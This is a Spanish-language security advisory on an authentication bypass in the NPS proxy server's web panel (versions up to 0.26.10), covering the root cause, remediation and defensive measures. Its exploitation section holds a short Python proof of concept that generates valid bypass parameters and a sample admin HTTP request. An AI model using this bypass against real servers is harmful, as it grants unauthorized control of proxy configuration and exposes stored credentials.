Información Básica de la Vulnerabilidad
Contexto
NPS es un servidor proxy de penetración de red ligero que soporta reenvío de tráfico TCP, UDP, Socks5 y HTTP. Presenta una vulnerabilidad de bypass de autenticación en su interfaz web, permitiendo acceso no autorizado a funciones administrativas mediante manipulación de parámetros.
Versiones Afectadas
Versiones ≤ 0.26.10. La lógica de autenticación defectuosa permite la ejecución remota de operaciones críticas sin credenciales válidas.
Impacto
- Acceso completo al panel administrativo sin autenticación
- Exposición de información sensible: clientes, reglas de proxy y credenciales
- Creación de nuevas reglas de reenvío para acceso interno
- Modificación o eliminación de configuraciones existentes
Análisis Técnico
Causa Raíz
Defecto en la validación de parámetros de autenticación:
- Clave
auth_keydeshabilitada por defecto ennps.conf - Mecanismo de verificación dependiente solo de dos parámetros:
auth_keyytimestamp
Lógica de Verificación
claveMD5 := obtenerParametro("auth_key")
marcaTiempo := obtenerEntero("timestamp")
claveConfig := obtenerConfig("auth_key")
tiempoActual := time.Now().Unix()
if !(claveMD5 != "" &&
Abs(tiempoActual - int64(marcaTiempo)) <= 20 &&
MD5(claveConfig + strconv.Itoa(marcaTiempo)) == claveMD5) {
if !sesionActiva("auth") {
redirigirLogin()
}
} else {
establecerSesionAdmin()
}
Cuando auth_key está vacío, el servidor valida MD5(timestamp), permitiendo bypass con parámetros generados.
Demostración de Explotación
Prepaarción
- Objetivo: NPS v0.26.10 con puerto web accesible
- Herramientas: Python, Burp Suite, navegador web
Generación de Parámetros
import time
import hashlib
ts = int(time.time())
hash_val = hashlib.md5(str(ts).encode()).hexdigest()
print(f"Index/Index?auth_key={hash_val}×tamp={ts}")
Acceso no Autorizado
Visitar URL generada en 20 segundos. Ejemplo de solicitud administrativa:
POST /client/list HTTP/1.1
Host: [IP_OBJETIVO]:8080
Content-Type: application/x-www-form-urlencoded
auth_key=[HASH]×tamp=[TS]&offset=0&limit=10
Soluciones
Recomendado
- Actualizar a versión ≥ 0.26.14
- Configurar
auth_keycon valor complejo en nps.conf - Reiniciar servicio:
systemctl restart nps
Alternativas
- Restringir acceso al puerto administrativo (TCP/8080)
- Habilitar regitsro de auditoría para monitorear parámetros
Medidas Defensivas
- Limitar direcciones IP autorizadas para el panel administrativo
- Verificar periódicamente la configuración de
auth_key - Implementar monitoreo de solicitudes con parámetros de autenticación